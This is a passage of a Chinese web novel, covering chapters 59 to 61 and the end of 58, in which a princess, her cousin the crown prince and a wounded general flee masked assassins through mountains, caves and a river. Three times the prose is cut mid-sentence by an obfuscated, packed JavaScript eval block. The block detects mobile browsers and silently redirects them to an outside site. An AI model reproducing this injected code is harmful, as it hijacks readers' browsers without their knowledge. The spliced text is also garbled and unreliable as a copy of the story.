那些蒙面人个个身手矫健,招式狠辣,丁北军的将士们虽勇猛无畏,但数量上处于绝对劣势。 有蒙面人注意到太子已经逃离,连忙向这边追来,定北军的兵士们拼死拦截,但很快寡不敌众,被蒙面人斩杀在地。 宁玉瑶眼睁睁地看着一张张熟悉的面孔倒在泥地中,再也没能起来。她强忍着泪水,回过头,不敢说话打扰正带着他们逃命的侍卫们。 荒山上树木虽然已经干枯,但枯枝依旧遮挡视线,阻挡着他们前进的步伐。他们跟在秦熠身后匆忙前行,脚下的枯枝败叶发出沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282372|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙的声响。 “秦都司,他们追得太紧了。”一名兵士焦急地说。 秦熠眉头紧锁,看着身边的兄弟们,咬着牙,哑声道:“留一队人,拖住他们。” 旁边的兵士们听到这话,没有丝毫犹豫,立即转身向山下扑去。 宁玉瑶的眼泪瞬间掉落,滴入丹素的脖子中,丹素察觉到郡主滚烫的泪水,她轻声说:“郡主别担心,我们一定能逃出去的。” 厮杀声渐渐远去,他们继续向前奔跑。 但很快,秦熠察觉到了异常,那些刺客似乎对这片树林极为熟悉,每当他以为成功甩开刺客的时候,又会有蒙面人从旁边的密林中窜出。 此时雨越下越大,山间的泥土路越发湿滑难行,雨水打在脸上,让人睁不开眼睛。但同样,这场大雨冲刷掉了他们的脚印,在一定程度上延缓了刺客们追踪他们的速度。 秦熠仅凭记忆中的舆图,再次带着众人甩开刺客,寻得一个山洞暂作躲避。 山洞里阴暗潮湿,弥漫着一股腐败的气味。 秦熠站在洞口,凝视着山洞外的瓢泼大雨,思考该如何摆脱刺客的追杀,尽快赶到离这里最近的涑州大营。 死一般的寂静在山洞中蔓延,孙太傅捶了捶自己的腿脚,苦笑着说:“殿下,你们跑吧,老臣这把老骨头,实在是跑不动了。” 祁晖珏深知太傅这是不想再拖累自己,但太傅乃是大宸的肱骨之臣,怎能随意舍弃。他语气强硬地说:“孤命令你继续跟着孤。” “唉。”孙太傅无奈地抹了抹眼泪,他心里清楚太子仁德,不忍丢下自己,可自己又何尝愿意拖累太子。 一直站在洞口的秦熠见刺客暂时没有注意到这边,他让侍卫继续盯着外面的动静。自己则走到宁玉瑶身边,蹲在她面前,问道:“明安,还记得去年我们去谢家看的石榴花吗?” 宁玉瑶微微一怔,心中满是疑惑,不明白在这等危急时刻,秦熠为何突然提起这个,但还是点头:“记得。” 秦熠压低声音说:“方才被我斩杀的刺客中,有几个我在谢家庄子见过。” 宁玉瑶闻言,脑海中闪过当时的情景,她突然想起当初熠哥哥看到麦田中有几个练家子,她也清晰地记起来了:“后来我们回去的时候有几个男人冲撞了我,他们今日也在刺客中。” 说着,她转头看向丹素和丹诺,眼神中满是询问之意,丹素和丹诺一脸沉重地点头:“是的郡主,就是他们。” 祁晖珏脸色沉沉,问道:“谢家……阿姐,是淑妃的母家谢家吗?” “就是谢少卿家的庄子,”宁玉瑶说着,冷笑一声,脸上带着怒意,“难怪之前小太监假扮成珏儿,他们丝毫不上当,原来是有备而来。” 祁晖珏沉默不语。 谢家……就是不知道是谢家自作主张,还是大皇兄主动授意。 片刻后,盯着山洞外的侍卫紧张地说:“秦都司,刺客往这边来了。” 秦熠连忙向洞口走去。 就在众人紧张不已的时候,宁玉瑶紧紧地盯着祁晖珏,说道:“我扮成太子的模样,出去引开刺客。” 此话一出,站在洞口的秦熠猛地回过头来。 59.逃脱 “不行!”祁晖珏激动地站起身,他连太傅都不忍放弃,又岂会让最亲近的阿姐去替他引开刺客,“孤不同意!” 宁玉瑶也站起来,看着已经和他一般高的表弟,语气强硬道:“祁晖珏!今日你必须听我的!” 祁晖珏喘着粗气,他还记得此刻在躲避刺客,低声喝道:“明安郡主!不得放肆!” 秦熠在一旁沉默不语,静静地看着眼前这一幕,良久,他微微垂下眼眸,不知心里在想什么。 青黛和青筱急忙站起身来,道:“郡主,万万不可让您以身犯险,让奴婢去,奴婢们和太子身形相近。” “没用的,”宁玉瑶的眼睛没有从祁晖珏的脸上移开,她抬起手轻轻抚摸着祁晖珏的脸颊,“那群刺客对珏儿的脸十分熟悉,之前太监假扮成珏儿,根本不能瞒过他们,只有我扮成珏儿,才能有一线希望。” 众人听了这话,仔细端详太子和明安郡主的脸庞,明安郡主的眉目确实与太子有几分相似,二人是血亲,长相相似也无可厚非。 祁晖珏也明白这个道理,但要让阿姐替他引开刺客,他做不到,他垂下头,沉默着不愿说话。 “珏儿,”宁玉瑶抬起他的下巴,让他直视自己的眼睛,“珏儿别忘了自己的身份,舅舅在雁京等你。” 祁晖珏听懂了阿姐的暗示,父皇龙体欠安,已经没有时间再培养一个新的储君了。 见珏儿不再反对,宁玉瑶示意青黛和青筱过来替自己和太子更换衣装,祁晖珏此刻如同一尊木偶,呆呆地站在那里,任由他们摆布。 山洞中的气氛紧张而压抑。 穿戴整齐后,宁玉瑶将手中的金簪插入太子的发髻中,轻声说道:“珏儿,阿姐希望大宸山河永固,海晏河清。” 这句话如同一记重锤,砸在众人心上。祁晖珏的眼泪再也止不住,他死死地抱着宁玉瑶,身体微微颤抖,默默流泪。 然而,宁玉瑶知道时间紧迫,容不得他们继续磨蹭。她侧头看向秦熠,刚要开口,秦熠却先一步打断她。 秦熠走到太子面前,直接跪下,言辞恳切地说道:“臣秦熠,恳请殿下恩准,臣愿带明安郡主一同引开追兵。” 太子红着眼眶,看着跪在地上的人,咬了咬牙,艰难地吐出一个字:“准!” 宁玉瑶急忙开口阻止:“不行,秦熠必须护送太子回雁京!” 熠哥哥是这里武艺最高强的人,若他走了,剩下的人很有可能不是刺客的对手。 可这一次没有人再听她的,秦熠站起身,不顾宁玉瑶反对,强硬地背起她,带着太子的一部分侍卫准备离开山洞。 祁晖珏连忙喊道:“秦熠!你一定要将阿姐带回来。” 秦熠脚步一顿,沉声应道:“臣领命。” “在那边,快追!” 山洞外大片的呼喊声与脚步声混杂在一起,逐渐远去。 山洞内众人心情沉重,尽管外面渐渐安静下来,他们依旧不敢轻举妄动。 过了片刻,丹素去山洞外查探了一番,回来禀报:“殿下,刺客已经被引走,我们也快点下山吧。” “我们走!” 祁晖珏站起身,他没有时间悲伤,他必须尽快赶到涑州大营,让涑州军出兵,或许还能救回阿姐。 一行人强撑着身体快速向山下跑去,雨依旧淅淅沥沥地下着,打在他们身上,让他们本就疲惫的身躯更加难以承受。 眼看就要走到官道,还没等他们松一口气,一名眼尖的侍卫发现官道旁的岩石后隐藏着一群蒙面人。 他们只能调转方向,走林间小路。 林间小路崎岖不平,荆棘密布,泥泞不堪,他们艰难跋涉。 但很快,有蒙面人注意到这边的动静,追了上来。 祁晖珏一行人在陌生的山脉中狂奔,他们不知道自己究竟跑到了何处,身后的追兵却越来越近。 祁晖珏抹了把脸上的雨水,他不想就这么轻易放弃,咬紧牙关继续向前奔跑。 突然前方出现一个带着孩子的年轻女人,她们似乎是在躲雨,狼狈地蜷缩在一颗树下。 女人一抬眼瞧见祁晖珏,脸上瞬间露出了惊喜的笑容,对着他大声喊着:“恩人!” 祁晖珏心中疑惑,不知道这是怎么回事,此时也无暇深究,他的双腿已经没有知觉,只能麻木地向前跑着。 女人似乎也看到了他们身上的伤口和后面紧追不舍的追兵,连忙跑过来招呼道:“恩人,跟我来!” 其他人没动,都看着祁晖珏,等待太子的指示。 祁晖珏转头看了眼身后的追兵,再看看面前有几分眼熟的女人和她怀中的孩子,心中快速权衡着。此时已别无选择,只能冒险一试。 他果断下令:“跟上!” 众人迅速跟在女人身后,钻进一条羊肠小道中。 这条小路极为狭窄,越走越偏僻。女人由于抱着孩子,渐渐体力不支。祁晖珏向身边的侍卫使了个眼色,那名侍卫立即上前对女子说:“你带路,孩子我来抱吧。” 没想到女人毫不犹豫地就将孩子交给侍卫,那个一直一声不吭窝在母亲怀中的孩子乖巧地抬起头,对着侍卫咧嘴一笑。 没有了孩子的拖累,女人的奔跑速度更快了。 祁晖珏一行人紧紧地跟在女人身后,没过多久,他们就来到了一个非常小的山洞口。女人停下脚步,急忙招呼:“快进来。”接着自己率先钻了进去。 丹素看向祁晖珏,祁晖珏微微颔首,她便迅速钻进山洞。 片刻后,丹素探出头来说:“小姐,快进来。” 由于有外人在场,且祁晖珏又是一身女子打扮,他们都称呼太子为小姐。 一行人立即跟着钻进洞口。 没想到洞口虽小,里面却别有洞天。洞里有块大石头,女人让他们用石头将洞口堵住,以防追兵发现。然后带着他们往山洞深处走去。 一路上,女人见祁晖珏一行人听得懂掖州土话,便不再说拗口的官话,她边走边用一口浓重的掖州土话解释道:“恩人你放心,我们掖州没别的,就是山多,山里头有好多洞子,走这些洞子可以从这座山跑到那座山去,不是我们本地人都不晓得这些嘞。” 这是一个天然的溶洞,洞穴很深,里面漆黑一片。但显然女人对这里十分熟悉,即便没有光亮也走得很稳当。但祁晖珏不行,他在黑暗中摸索着,好几次差点摔倒。但他们没有火折子,只能摸黑前行。 一行人在溶洞中暂时安全下来,孙太傅走到前面,不动声色地跟女人聊天,很快便套出了她的身份。 女人没有名字,从小爹不疼娘不爱,家里人都叫她“猡猡”,在掖州是懒猪的意思。她有些委屈地说,可明明家中所有的活儿都是她干的,她一点也不懒。 她没日没夜地干活,但后来她弟弟要娶媳妇,家里没钱,她娘就把她卖给了个隔壁村里的一个泼皮,卖了两百个铜钱呢! 女人说起两百个铜钱时,语气里满是渴望:“好多钱哦,我这辈子还是第一次看见那名多铜钱。” 孙佑延声音嘶哑地问:“那后来呢?既然泼皮愿意花钱买你,应该会比你在家里好过些,你怎么一个人带着孩子出来了。” “喔唷,那又不是啥子好东西,今年天老爷不下雨,地里的庄稼都干死了,那个猪猡没得东西吃,想要把我女跟别个家的娃儿换来吃,还要别的男人跟我睡觉换粮吃,我就带我女跑了。” 他们这才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297247|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道那个头发稀疏的瘦小孩子是个女孩儿。如此人面兽心的父亲,丧尽天良的丈夫,实在是让人难以想象。 孙佑延又问:“你不怕我们是坏人?” “不怕喔!你们是我的恩人,肯定是好人,追你们的才是坏人嘞!” 祁晖珏沉默许久,才问道:“你为什么叫我们恩人?” 少年的嗓音雌雄莫辨,女人也没听出来有什么不对,她高兴地说:“恩人你们是跟太子一起来掖州赈灾的吧?你们刚到掖州的时候我拦过你们的马车,那时候我女快要饿死咯,是小姐你让一个小将军给我女喂了一个糖,我女才熬到发粮食哦,你就是我女的恩人嘛。” 原来她就是那天拦路乞讨的女人,祁晖珏继续问道:“那你怎么知道是我?” “因为你头上的簪子喔!那个红色的石头,那么大,那么亮,一看就好要好多钱,只有你这种仙女才配得上这么好的簪子哟!” 祁晖珏忍不住伸手摸着头上的簪子,心中难过,阿姐,阿姐,你又救了珏儿。 其他人自然也知道女人所说的簪子主人是谁,一时间,众人都沉默下来,再也没有攀谈的兴致,黑暗的山洞中只能听他们的呼吸声和沉重的脚步声。 过了许久,他们终于走到了山洞的尽头。侍卫们谨慎地出去探查一番,确认安全后,才来请太子出去。 当他们踏出山洞,清新的空气扑面而来,带着丝丝凉意。他们此刻已经在掖州山脉的另一侧,这里离涑州更近了。 回头望向他们来时的方向,隔了一座山,这边的雨势比山脉那头小上许多。站在他们的位置能明显看到乌云黑压压地笼罩在掖州山脉上空,乌云中电闪雷鸣。 女人指着东北方向告诉他们:“涑州就在那头,你们一直不停地走,走到明天早上鸡叫的时候就可以到了。” 祁晖珏对女人道过谢,抿唇思索片刻后问:“你要不要跟我们去涑州?你救了我们,我们可以把你们母女在涑州安顿好。” 女人连连摆手,拒绝道:“不去不去,那里我哪个都不认得,不去嘞。那个猪猡已经被别个打死了,屋子只有我跟我女住,乡里乡亲对我也还可以,我在这里蛮好的。而且你已经救过我们一命了,做人不可以贪心的嗦。” 祁晖珏见她这样便没有勉强,孙太傅走上前来说:“不如我给你们取个名字吧。” 女人一听,眼睛顿时一亮:“要得要得!老人家一看就很有学问,麻烦你给我和我娃取个好听的名字。” 孙佑延立刻将他在山洞中思索了许久的名字告诉她:“你的名字是知乐,你孩子叫悦怡,愿你们一生平安喜乐。” “知乐……悦怡……”知乐轻声念叨着自己和女儿的名字,干瘦的脸上扬起灿烂的笑容:“谢谢老人家咯!这名字真好听。” “不用谢。”说着孙佑延从怀中掏出一些被雨打湿而不能使用的银票,以及几两碎银子,他拿起碎银子,递给知乐。 “这是啥子?”知乐没见过银子,好奇地拿起来看了一眼。当得知这是银子,她急忙拒绝道:“银子喔?那我不能要。” 孙佑延强硬地将银子塞到知乐手中:“天冷了,给你和孩子买件新棉袄吧。” 知乐扭头看着侍卫怀中因淋过雨,冻的瑟瑟发抖的女儿,她犹豫了下,最终小心地收下银子,感激地说:“那谢谢你们喔,你们真是大好人,好人肯定有好报!” “好人有好报。”祁晖珏念着知乐说的话,是的,好人有好报,阿姐如此善良,肯定会有好报的。 时间紧迫,他们不能再耽搁。众人将女孩交还给知乐后,便片刻不停地向涑州跑去。 祁晖珏扭头再次望向掖州山脉,阿姐,坚持住,等珏儿来救你。 60.跳河 天空阴沉得仿佛随时会坍塌下来,大雨倾盆而下,狠狠地砸在大地上。秦熠紧紧地抱着宁玉瑶,在泥泞的道路上狂奔,雨水模糊了他们的视线。 身后的刺客紧追不舍,他们身边的侍卫皆已殒命,只剩下秦熠还守在宁玉瑶身旁。 但秦熠也支撑不了多久,他呼吸急促,背后插着数支箭矢。 一阵破空声响起,箭雨再度袭来,秦熠无法闪躲,结结实实地中了这一箭。 宁玉瑶感觉到秦熠抱着她的手臂蓦地一紧,随后是他忍痛的一声闷哼声。 她依偎在秦熠怀中不敢发出一丝声响,生怕让熠哥哥分心。 可他们一路奔逃,却始终无法摆脱刺客的追杀。最终,他们被追兵逼到了一条湍急的河流边。河水汹涌澎湃,发出震耳欲聋的轰鸣声。 秦熠停下脚步,望着眼前的河流,连续数日的大雨使得面前的河水越发湍急。 追兵很快就要来了,他们已经无处可逃。 宁玉瑶一手搂着秦熠的脖子,一手轻抚他的后背,她摸到了满手粘腻的血渍,但丝毫没有嫌弃。 被逼入绝境,宁玉瑶反倒愈发冷静,她脸色平静地将头靠在秦熠的肩窝,轻声说:“熠哥哥,我们赌一把吧,若赌输了,下辈子,你还要如这一世一般陪我长大,任我欺负。” 秦熠在她的头顶印下一个吻,应道:“好。” 宁玉瑶紧紧环住他的脖子,说:“我们走吧。” 秦熠回头,已经看见追兵的身影,不再犹豫,抱着宁玉瑶跳进了湍急的河流中。 河水瞬间将他们吞没,他们在水中翻滚着,被水流冲得越来越远。 * “咳咳咳……”秦熠挣扎着从水底浮上来,他焦急地看向怀中双目紧闭的宁玉瑶。 掖州山脉中河流的尽头是一道瀑布,他们被汹涌的河水裹挟着无法游上岸,只能被水流冲到瀑布下。 宁玉瑶入水时撞到了头部,已经昏迷了过去。 秦熠心急如焚,他想带宁玉瑶游到岸边,然而水流过于湍急,四周又皆是悬崖峭壁,无处可落脚。无奈之下,秦熠只能抱着宁玉瑶,顺着河水向前流去。 河水冰冷刺骨,秦熠的伤口被水浸泡着,疼痛无比。但他顾不上这些,只想赶快找到一个落脚点,让宁玉瑶上岸。 天很快黑了下来,四周一片漆黑,耳边只有河水奔腾的声音。秦熠苦苦支撑着,他的体力一点点耗尽,但他不敢松懈,他紧紧抱着宁玉瑶,就怕一松手她就会被河水冲走。 黑暗中,时间仿佛变得无比漫长,秦熠不知道他们还能坚持多久。 终于,太阳再次升起,阳光洒在河面上。秦熠看到右侧的石壁凸起,刚好可供人行走,他托着宁玉瑶用力地向石壁游去。 到了石壁前,他才发现这块石岸距离水面约有半米高。加之水流湍急,他很难将失去意识的宁玉瑶推上岸。 他面色惨白,单手紧抠湿滑的石壁,因过于用力,他的手指很快就变得血肉模糊,指尖的鲜血不断渗出,与石壁上的水珠相融,形成一道道骇人的血痕。 但秦熠浑然未觉,他将手指死死地插进石壁缝隙中,另一手则拼尽全力试图将失去意识的宁玉瑶推上岸。 由于宁玉瑶无法配合,石壁上的青苔湿滑且没有着力点,秦熠一只手很难将她放上距离水面近半米的石岸上。 宁玉瑶滑下来好几次后,秦熠咬紧牙关低吼一声,他的额头青筋暴起,使出自己所有的力气,将宁玉瑶的上半身推上石壁边缘,接着又将她的腿也抬了上去。 此时秦熠的自身状况已经极差,他身负重伤,身体疲累到极致。即便如此,他也努力想要爬上岸,因为他不敢将宁玉瑶一人放在这陌生又危险的野外。 但无奈石壁湿滑,筋疲力尽的秦熠最终还是难以抵御湍急的河流冲击,被河水冲走,顺水漂流而下。 秦熠紧盯着趴在岸边,离他越来越远昏迷不醒的宁玉瑶,眼中满是不舍和担忧,呢喃着:“玉瑶……活下去……” 紧接着,他在河水猛烈撞击下撞上一块隐匿在湍流中的暗礁,彻底失去意识。 * “殿下,再坚持会儿,涑州营马上就要到了。” 祁晖珏趴在侍卫的背上,脸色潮红,整个人已不省人事。 昨夜,他们在慌乱中才发现太子的手臂和大腿上都有箭矢擦过的伤痕。受伤之后又淋了雨,接着吹了一整晚的寒风,半夜时分,殿下便发起了高热,彻底昏了过去。 众人心急如焚,拼了命地朝着涑州营跑去。 在天快亮的时候,他们终于看见了涑州大营矗立的军旗。 孙太傅跟在背着太子的侍卫身后,气喘吁吁,一声声地唤着:“太子,快醒醒,我们到涑州营了,您一定要坚持住,明安郡主在等您。” 或许是听到了阿姐的名字,祁晖珏缓缓睁开眼睛,喃喃道:“阿姐……” 孙太傅见太子终于醒来,心中松了口气。以他们在外行走多年的经验,重伤后必须保持清醒,救治前一旦昏睡过去就麻烦了。 他抹了把脸上的汗水,轻声哄着:“太子您别睡,到了涑州营,只有您才能指挥他们。” 是了,祁晖珏混沌的大脑终于想起来,父皇给了自己虎符,只有自己可以调遣大宸的军队。他强打起精神,看着距离自己越来越近的涑州军。 等他们好不容易跑到涑州营大门前,营地的守卫瞧见他们这一群人浑身狼狈不堪,老弱皆显疲态,正要出声呵斥。 太子亲卫从腰上解下令牌扔给守卫,疾声喝道:“太子遇袭,身受重伤,速速带我们去找你们将军,赶紧把军医叫来。” 涑州营门口所有兵士闻言大惊,手上的令牌确实做不得假。他们立刻兵分两路,一队人背起那些刚到涑州营便瘫倒在地的人,跑向将军的营帐,另一队人则连忙去找军医。 涑州军的驻军将领姓崔,名沭,被亲兵叫醒的时候,还以为自己听错了。再三确认太子真的遇到了刺客后,即便已是初冬时节,也让他瞬间惊出了一身冷汗。 他赶紧爬起身,找出一床干净的被褥,连声吩咐道:“快将太子带到这里来。” 没多久,一群身上带伤、满身泥泞的人冲进营帐。崔沭连忙上前接过侍卫背上的小少年,将其放在刚铺好的床上。 再定睛一看,夭寿了,居然真的是太子殿下。他宁愿是一群人假冒太子来逗他的乐子,也不愿真的看见太子命悬一线。 崔沭刚想要行礼,祁晖珏咳嗽了好几声,才虚弱地说道:“崔沭听令。” 崔沭连忙跪下:“臣在。” 祁晖珏从怀中掏出虎符扔到他面前:“速带涑州军前去掖州山脉救明安郡主,所有刺客,死活不论!” 崔沭一愣,明安郡主?明安郡主还在刺客那?他刚停息的冷汗又冒出来了。 他赶紧应道:“臣领命!”随即收起虎符,连滚带爬地从地上起来,冲出营帐召集人马。 * 宁玉瑶感觉自己好像做了一个梦。 恍惚间,她仿佛置身于一片迷雾中,过了许久,周围的景象才渐渐清晰起来。 她站在将军府门前,看见秦熠面色冷峻地望着一顶大红花轿从长公主府中抬出,一路吹吹打打从他们面前经过。 那花轿,似乎是自己前世出嫁时的模样。宁玉瑶左右张望,周围人来人往,熙熙攘攘,却没有人察觉到她的存在。 “秦熠,你们没有缘分,别难过。”秦老夫人走出来,心疼地轻拍孙儿的肩膀。 秦熠轻哼一声:“祖母放心,我不难过。” 待送亲的队伍在视线中渐渐消失不见,秦熠沉默着扶着祖母返回府中。 宁玉瑶跟在秦熠身后,往日喧闹的秦将军府今日安静得不同寻常。府中的下人们似乎都知道今日主子心情不佳,走路的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306617|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声都微不可闻。 秦熠将秦老夫人送回她所住的东院,才转身回了自己的院子。 他走进卧房,从柜子中取出一个小盒子,打开盒子,他轻轻抚摸着里面各式各样的小兔子雕件,喃喃自语:“玉瑶……你在哪里……” 今日长公主府嫁女与他何干?那又不是他的玉瑶,那只是披着玉瑶皮囊的伥鬼罢了。 秦熠痛恨自己无用,不能寻回自己真正的玉瑶。他想要对伥鬼动手,却又害怕伤着玉瑶的身体。 宁玉瑶看着秦熠那痛苦的模样,想要拽秦熠的耳朵,可惜手指穿过秦熠的身体,无法触碰到他。 一阵黑雾袭来,宁玉瑶再睁眼时,已经站在一个破败的城池中。 这是哪里?宁玉瑶目之所及之处皆是一片荒芜,周围的建筑破败不堪。 她穿过空无一人的街道,脚下的石板路布满裂痕,街道两旁的房屋门窗大开,有些甚至已经倒塌,只剩下残垣断壁。 宁玉瑶的心中涌起一股莫名的不安,直到她看见一栋熟悉的二层小楼,那是熠哥哥带她用早膳的地方。 她快步走过去,商铺门打开着,里面只有破烂的桌椅杂乱地堆在地上,上面布满了灰尘和蜘蛛网。 宁玉瑶皱着眉头,这里是定州?定州怎么破败成这幅模样了? 突然,北城方向传来阵阵厮杀声。这声音让她脑中灵光一闪,她似乎想起了什么,赶紧向北城门跑去。 定州城北城大门紧闭,只有大门上传来阵阵撞击声。 宁玉瑶从地上横七竖八躺着的定北军兵士们身边走过。他们的身上布满了伤口,鲜血已经干涸,看上去似乎已经没有了生息。 她鬼使神差地顺着城墙的楼梯爬上城楼,楼梯的台阶上也满是血迹。她一步一步地向上走,心中的不安愈发强烈。 当她终于登上城楼,一眼就看到了靠着城楼坐在地上的秦熠。他的身上同样布满了伤口,衣服也已经破烂不堪。 宁玉瑶连忙跑过去,“熠哥哥!” 很显然,秦熠看不见她,也听不到她的声音。他已经非常虚弱了,脸色苍白,眼神空洞无神。似乎是回光返照,他用自己最后一点力气从脖子上拉出一根红绳,红绳上悬挂着一只白玉小兔子。他将玉兔放在自己的唇边,对着空中轻轻喊了一声:“玉瑶……” “熠哥哥我这里,熠哥哥你睁开眼睛!” 宁玉瑶看着秦熠垂下头,彻底停止了呼吸。她焦急地想要唤醒他,手却从他的身体穿过。 黑雾再度袭来,眼前一片黑暗。 “熠哥哥……熠哥哥……”躺在河边的宁玉瑶不停地呢喃着。 突然,她猛地睁开双眼,寒风吹过身上湿透的衣裳,她不由自主地打了个哆嗦。 她环顾四周,急切地搜寻着秦熠的身影。然而,周围除了湍急的流水声和呼啸的风声,没有任何秦熠的踪迹。她心里顿时惊慌起来,她深知秦熠绝对不会将她一个人扔在这里,除非…… 熠哥哥出了意外。 她连忙爬起身,顺着水流的方向,在河岸边艰难地寻找着。河岸的岩石湿滑无比,她的脚步有些踉跄,每走一步都要格外小心,稍有不慎就会滑入河中。 她走得极为困难,但一直没看到秦熠的身影,心里又惊又怕。 不知道摔了多少次,她身上的衣服不知不觉中已经干透。终于,她穿过了那条石壁悬崖。前面的河岸宽阔了许多,河流也变得平缓。 天快要黑了,远处传来狼嚎声,那声音在寂静的河谷中回荡,宁玉瑶浑身一抖,加快了奔跑的步伐。 在天色即将完全暗下来的时候,她看到满是石子的河岸边趴着一个背上插满箭矢的黑衣男人。 “熠哥哥!”宁玉瑶赶紧朝那人跑去,她颤抖着双手,抚开他脸上的泥土,果然是秦熠。还来不及高兴,她立刻感觉到不对劲。 秦熠浑身冰凉,已经气息全无。 61.毛贼 宁玉瑶的心瞬间沉入谷底,她看着趴在地上一动不动的秦熠,恍惚间,她忆起曾在一本古旧的医书上看到过的溺水救治之法。 她急忙蹲下身子,小心翼翼地清理掉秦熠口中的泥沙,试图将他翻过身来,进行下一步救治。然而,秦熠背后的箭矢阻碍了她的动作。 她正欲拔出箭矢时,突然想起在雁京看医书时,太医们曾告诫过,没有伤药的时候绝不能拔出贯穿物,否则会血流不止。 宁玉瑶不敢轻举妄动,可她也不能完全不管不顾。她没有带武器,又仔细地翻找秦熠的身上,同样什么都没有发现。焦急中,她的目光落在了不远处的一块尖锐石块上,她迅速跑过去捡起石块。 时间紧迫,宁玉瑶咬着牙,用石块磨掉箭杆过长的部分。尖锐的石刃一次次划破她的手掌,鲜血汩汩流出,但她好像完全感觉不到痛,只想再快一点。 终于,在她的努力下,箭杆全部被磨完。 她顾不上擦拭手上的血迹,连忙将秦熠翻过身,让他平躺在地上,他的头则枕在她的腿上。 她尽量避免着碰到秦熠背上的箭矢,双手颤抖着使劲按压他的胸廓。 天彻底黑了下来,寒风从他们身边呼啸而过,带来远方的狼嚎声,令人毛骨悚然。 宁玉瑶却仿佛完全感觉不到冷,也不知道害怕,她只想要救活秦熠。 时间一点点过去,宁玉瑶不知疲倦地一次次用着自己最大的力气努力按压着。她的手臂渐渐酸痛,额头也冒出了细密的汗珠,但她不敢放弃。 不知过了多久,宁玉瑶感到自己的体力已经快到极限,身体也开始摇摇欲坠。就在她绝望之际,秦熠突然吐出一口污水,轻轻咳嗽了两声。 这细微的声音在宁玉瑶听来如同天籁。她觉得自己身上的力气又回来了,她再使劲按压了几下,看着秦熠吐出的污水越来越多,呼吸也渐渐变得平稳,她才停下手中的动作。 她紧紧地抱着秦熠的头,将耳朵贴近他的口鼻处,感受着那微弱的呼吸。这一刻,她一直悬着的心终于稍稍放下,脸上也露出了如释重负的笑容。 然而,那笑容还未完全绽放,泪水却已夺眶而出。她笑着笑着就开始哭泣起来。她轻声呢喃道:“熠哥哥,你一定不会有事的。你说过要带我回家,还要向我爹娘提亲,你可不能食言。” 河边的风很大,吹得他们浑身发冷。 宁玉瑶深知此地不宜久留,她咬着牙,用尽全身力气将秦熠拖起来背在自己背上。 秦熠很高,站着的时候都比宁玉瑶高出一个头。如今,宁玉瑶被他沉重的身躯压得弯着腰,他的腿耷拉在地上。 宁玉瑶本身力气就小,加之今日逃了一天,早已疲惫不堪。能够这样半背半拖着身材高大的秦熠,已是十分不易。 她的双腿微微打颤,每走一步都异常艰难,仿佛随时都有可能倒下。 一直走到月上中天,清冷的月光洒在大地上,河岸边的草木渐渐丰茂起来。 不知道是不是错觉,这里似乎要比掖州暖和不少。 但此时的宁玉瑶没心思多想,她在黑暗中焦急地四处搜寻着,希望能找到一个可以让他们暂时躲避寒风的地方。 当看到不远处有一片树林时,她松了口气。有树能够稍微遮挡一下寒风,总比在河边受冻强。 宁玉瑶艰难地背着秦熠来到一棵她不知道名字的阔叶树下,她小心地将秦熠放在地上,然后,摘下几片宽阔的叶子,盖在秦熠身上,希望能为他抵挡些许寒风。 秦熠的身体已经开始发热,宁玉瑶轻轻抚摸着他滚烫的脸,轻声说:“熠哥哥,你在这里等我,我去前面看看。” 夜晚的树林静谧得可怕,只有宁玉瑶轻微的脚步声在树林中回响。 风悄然吹过,树叶沙沙作响,那些黑暗中的树影此刻仿佛都变成了张牙舞爪的怪物,随时可能向她扑来。 突然,一只夜鸟扑棱着翅膀从头顶飞过,宁玉瑶吓得差点尖叫出声,她捂住嘴,加快脚步向前跑去。 不知跑了多久,她的面前出现了一条小路,小路上明显有人走过的痕迹。 她心中高兴,想要上去求救,但想起熠哥哥此刻昏迷不醒,而自己势单力薄,贸然求助万一遇上歹人,他们必然毫无招架之力。 她不敢冒险行事,打算趁着夜色先上前打探一番。 宁玉瑶小心翼翼地走出树林。 树林外不远处,一片房屋静静地矗立着,此时夜深人静,那个小村庄在夜色的笼罩下显得格外安静。 离树林最近的一个院子没有高大坚固的围墙,只有竹子和树枝扎成了一道低矮的篱笆,那篱笆看上去颇为简陋。 宁玉瑶悄声走近院子,脚步迈得极轻,生怕发出一丝声响。她的眼睛紧紧地盯着院子,正打算仔细观察院内的情况。突然,一股淡淡的药材气味扑鼻而来。 她微微一愣,随即心中涌起一丝惊喜。 她透过篱笆往院内看去,只见院子中摆放着几个竹架。那些竹架虽然简陋,但却整齐地排列着。 每个竹架上都摆放着四到五个不等的大竹盘,竹盘中装着各种药材。有的药材色泽鲜艳,有的则呈现出深沉的色调。显然,这是这家主人晒药材后没有来得及收起来。 